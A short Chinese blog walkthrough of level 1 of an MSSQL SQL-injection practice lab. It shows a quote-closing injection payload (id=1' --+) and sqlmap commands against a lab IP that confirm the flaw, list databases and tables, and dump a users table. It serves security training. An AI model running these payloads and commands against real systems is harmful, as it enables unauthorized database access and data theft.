MSSQL 工具注入(第一关)

简介

SQL注入是一种安全漏洞,通过它可以执行意外的SQL命令或访问数据库中的信息。MSSQL注入通常发生在应用程序将用户输入作为SQL查询的一部分执行时,而没有对输入进行适当的验证或清理。

以下是MSSQL手工注入的流程:

一、打开靶场选择第一关

二、确定注入点

测试不同的闭合方式

这里确定为 id=1' --+

三、查找是否存在 sql 漏洞

使用语句 sqlmap -u http://192.168.213.200/less-1.asp?id=1 ,在kali在输入语句,确定存在 sql 漏洞

四、查找库名

使用语句 sqlmap -u http://192.168.213.200/less-1.asp?id=1 --dbs --batch

五、查找表名

使用语句 sqlmap -u http://192.168.213.200/less-1.asp?id=1 -D test --tables --batch

六、得到表中的数据

使用语句 sqlmap -u http://192.168.213.200/less-1.asp?id=1 -D test -T users --dump --batch

安全

网络安全靠人民,网络安全为人民

相关推荐
网安INF5 分钟前
网络攻防技术:拒绝服务攻击
网络·安全·web安全·网络安全
qq_2037694912 分钟前
debian13安装PostgreSQL并远程连接
数据库·postgresql
苏小瀚17 分钟前
[MySQL] 联合查询
数据库·mysql
雪碧聊技术19 分钟前
Linux命令过关挑战
linux·运维·数据库
liulilittle29 分钟前
在 Android Shell 终端上直接运行 OPENPPP2 网关路由配置指南
android·linux·开发语言·网络·c++·编程语言·通信
Java水解31 分钟前
KingbaseES SQL性能调优方案分享
后端·sql
oak隔壁找我33 分钟前
SpringBoot + MyBatis 配置详解
java·数据库·后端
oak隔壁找我33 分钟前
SpringBoot + Redis 配置详解
java·数据库·后端
躺平的赶海人37 分钟前
C# Dictionary 线程安全指南:多线程下操作 Dictionary<string, DateTime> 的加锁策略
java·安全·c#
帧栈1 小时前
开发避坑指南(64):修复IllegalArgumentException:参数值类型与期望类型不匹配
java·数据库